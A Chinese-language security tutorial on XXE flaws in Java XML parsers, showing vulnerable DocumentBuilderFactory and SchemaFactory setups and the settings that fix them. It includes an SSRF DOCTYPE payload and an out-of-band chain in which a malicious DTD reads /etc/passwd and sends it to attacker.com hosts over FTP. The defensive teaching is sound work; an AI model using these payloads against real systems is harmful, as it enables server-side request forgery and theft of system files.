默认情况下,Java 的 XML 解析库都会提供 DTD 处理功能和外部实体功能,这些特性通常 会导致 XXE 漏洞。开发者可以通过禁用这些特性来避免安全问题,但在某些情况下开发者的 配置可能并不完善,不能完全避免所有攻击

javax.xml.parsers.DocumentBuilderFactory

DocumentBuilderFactory 类的默认配置如下:

File fXmlFile = new File("Test.xml");
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
Document doc = dBuilder.parse(fXmlFile);

开发者可能使用以下代码禁用外部实体:

dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// OR
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

由于代码还是会处理 DTD, 可以通过以下 payload 进行 SSRF 攻击:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE myPublicEntity PUBLIC '-//W3C//DTD HTML 4.01//EN'
'http://someIP:4444/IMMUNITY' >

要防御 SSRF 攻击需要以下设置:

dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// or disable the DTDs completely
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

另外还要注意一个极具误导性的配置,该配置貌似只能防御 DOS:

dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);

javax.xml.validation.SchemaFactory

SchemaFactory 类通常会这样使用(存在 XXE):

String filepath = "Test_Schema.xml";
String xmlSchema = new String(Files.readAllBytes(Paths.get(filepath)));
 
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema(new StreamSource(new StringReader(xmlSchema)));

通过以下配置禁用外部实体引用:

factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

假如 ACCESS_EXTERNAL_DTD 属性设置成了 file(只允许使用 file 协议),那么 ftp 协 议也依旧能正常使用,因此可以通过以下步骤读取数据:

  1. 启动一个 ftp 服务器,在上面放一个恶意文件 evil_ftp.dtd

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % param1 "<!ENTITY send SYSTEM 'file://attacker2.com:5555/%file;'>">
    %param1;
  2. 启动另一个 ftp 服务器用来接收数据

  3. 向目标发送恶意 payload, 然后在 2 的 ftp 服务器中可以看到数据

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE data [
      <!ENTITY % dtd SYSTEM  "file://attacker.com:5555/evil_ftp.dtd">
      %dtd;
    ]>
    <data>&send;</data>

注意:虽然上面的 payload 使用了 5555 端口,但实际请求的依然是默认的 ftp 端口(21)